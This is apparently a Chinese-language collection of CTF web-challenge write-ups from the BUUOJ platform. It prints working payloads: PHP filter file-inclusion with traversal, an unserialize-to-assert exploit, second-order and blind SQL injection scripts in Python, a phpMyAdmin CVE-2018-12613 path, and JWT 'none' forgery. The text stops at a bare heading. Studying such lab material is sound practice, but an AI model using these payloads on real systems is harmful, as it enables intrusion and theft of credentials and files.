[BSidesCF 2020]Had a bad day

进入页面后就两个按钮,按了之后url分别是:

http://ed8e3ed8-e966-44c5-b917-7cfb4c276d9f.node3.buuoj.cn/index.php?category=woofers
http://ed8e3ed8-e966-44c5-b917-7cfb4c276d9f.node3.buuoj.cn/index.php?category=meowers

查看源代码发现:

1

看到value就try了下xss,传入woofers”

出现报错:

<b>Warning</b>:  include(woofers&quot;.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>37</b><br />
<br />
<b>Warning</b>:  include(): Failed opening 'woofers&quot;.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>37</b><br />

一眼就看到了include函数说明存在文件包含漏洞。

那就读一下源码吧:

category=php://filter/read=convert.base64-encode/resource=index

这里由于其本身代码应该是

include($_GET['category'].'php');

所以无需再传入php.

然后base64解码:

index.php
              <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

仔细看代码逻辑只能包含三个页面,woofers、meowers、index

接下来尝试利用目录穿越读取flag:

woofers../../flag

然后在源代码中发现:

2

这里仔细读代码会发现只要传入的参数中含有woofers、meowers、index即可读取到源代码。

那就用目录穿越直接读:

payload:
category=php://filter/read=convert.base64-encode/resource=woofers../../flag

最后将base64解码即可:

3

[NPUCTF2020]ReadlezPHP

查看源代码发现存在接口:
./time.php?source
访问发现源代码:
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2020-08-23 04:28:57

最基础的反序列化了,这里主要想一哈怎么拿flag:

一般都喜欢放phpinfo里面构造:assert(phpinfo();)
exp:
<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}

$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'phpinfo();';

echo serialize($test);


?>
最后生成:O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
然后访问data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

最后看到phpinfo页面ctrl+f搜索flag就找到了。

[网鼎杯 2018]Comment

这个题受益良多,主要是git扫出来了但代码只有一小节:

需要如下命令恢复:

cd 到githacker生成的目录下
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c //这一串是第一个commit出来的一串

最后得到完整的代码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

然后读history文件:/home/www/.bash_history

发现存在.DS_store文件

然后读取它会发现长度不高,所以hex编码显示

payload: ', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

把查出来的hex转成string发现存在:

flag_8946e1ff1ee3e40f.php

最后直接读取

最后:

payload:
', content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*

然后进去后提交留言:

*/#闭合语句达到注入

最后ctrl+u源码即可看到flag

[BJDCTF 2nd]简单注入

进入页面是一个登录框,先扫描目录发现hint.txt

Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

//出题人四级压线才过 见谅见谅 领会精神

输入用户名密码抓包如下:

加上单引号:

4

仔细看提示的sql注入尝试绕过单引号注入:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';
可以看到用户名和密码在同一个语句中,单引号用不了的话就只能将两个部分联通来闭合然后在中间部分执行sql语句。
具体实现:
username=admin\
password=^+sleep(5)#
这样sql语句就变成了:
select * from users where username='admin\' and password='^ sleep(5)#';
相当于:select * from users where username='admin and password='^ sleep(5)
这样执行的sql语句就拼接到了整个查询语句后面就可以执行了。后面就是爆password字段了。

5

payload:

username=admin\
password=^(ascii(substr(password,{},1))>{})#

尝试编写脚本:

在此之前需要判断出页面的正常回显

username=admin\&password=^+(ascii(substr(password,1,1))>10000000)#

发现页面显示:BJD needs to be stronger

那么就可以用关键字stronger来盲注:

真实编写代码的时候发现使用^的方式不能够连接后面的语句,于是还是用or来爆:

参考的网上某大哥的二分法,比直接挨着跑快得多。

exp.py
import requests
url = "http://860894fe-d16f-49f4-a38f-c3d2a66ddcfa.node3.buuoj.cn/index.php"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
    i = i + 1
    head=32
    tail=127

    while( head < tail ):
        mid = (head + tail) >> 1

        payload = "or+if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)

        data['password'] = payload
        r = requests.post(url,data=data)

        if "stronger" in r.text :
            head = mid + 1
        else:
            tail = mid


    if head!=32:
        result += chr(head)
    else:
        break
    print(result)

最后password=OhyOuFOuNdit

登陆admin/OhyOuFOuNdit

即可拿到flag.

[GWCTF 2019]我有一个数据库

考点:phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

直接poc打:

/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd
/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

[BSidesCF 2019]Kookie

考点很简单,考的不安全的身份验证。

直接把用户名放入cookie中作为登陆凭证,改为admin直接拿到flag.

Day2 Web1]Easyweb

访问目录存在robots.txt

发现robots.txt给了提示*.php.bak

最后fuzz出来是image.

下载下来代码如下:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

漏洞出现在:

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
这里假如我们传入\\0作为id那么sql语句就变成了。

$result=mysqli_query($con,"select * from images where id='\' or path='{$path}'");
而这个\会使得id中右边的单引号失效,因而也可以成功闭合来执行我们的连接sql语句。
这里代码中没有输出位所以可以用bool盲注。
但后续检查发现自己的传入不对
当传入\\0会导致第一个\被转义而无法转义后面的单引号。

本地测试了一下:

7

8

这样就相当于是双斜杠导致并没能转义后面的单引号。

这里我接着尝试输入\0’

9

这次最终得到的是\

接下来回到题目测试sql注入存在性:

payload:

image.php?id=\0%27&path=+or+sleep(5)%23

sleep成功执行

接下来就很简单的,直接套用的以前的bool盲注的二分法跑。

这里还需要注意的是,盲注判断正确的时候页面是一个猫的图片,不正确是什么都没有。

因而判断页面内容需要采用:

10

exp编写如下:

import requests
import time
name=''
for j in range(1,21):
    l = 32
    h = 127
    while abs(l-h)>1:
        i=int((l+h)/2)
        url="http://9feb78bd-e27d-4ef9-8ff6-88da1515f89c.node3.buuoj.cn/image.php?id=\\0'&path= or ascii(substr((select password from users),"+str(j)+",1))>"+str(i)+"%23"
        r = requests.get(url)
        time.sleep(0.005)
        if r.status_code=='429':
            print('to fast')
        if not 'Content-Length' in r.headers:
            l = i
        else:
            h = i
    name += chr(h)
print(name)

[HFCTF2020]EasyLogin

考点jwt加密方式none绕过验证。

exp.php
<?php
$a = ‘{"alg":"none","typ":"JWT"}‘;
$b = ‘{"secretid":[],"username":"admin","password":"123456","iat":1590582025}‘;
echo base64_encode($a);
echo "\n";
echo base64_encode($b);
#eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
#eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0=
?>

最后登陆时候post:

username=admin&password=123456&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0.

最后这个.应该是要连接加密密钥的部分,这儿由于加密方式为None所以不需要密码但仍然需要满足格式。

最后成功伪造admin登陆然后就是收flag了。进入api,抓包发包即可看到flag

[SWPUCTF 2018]SimplePHP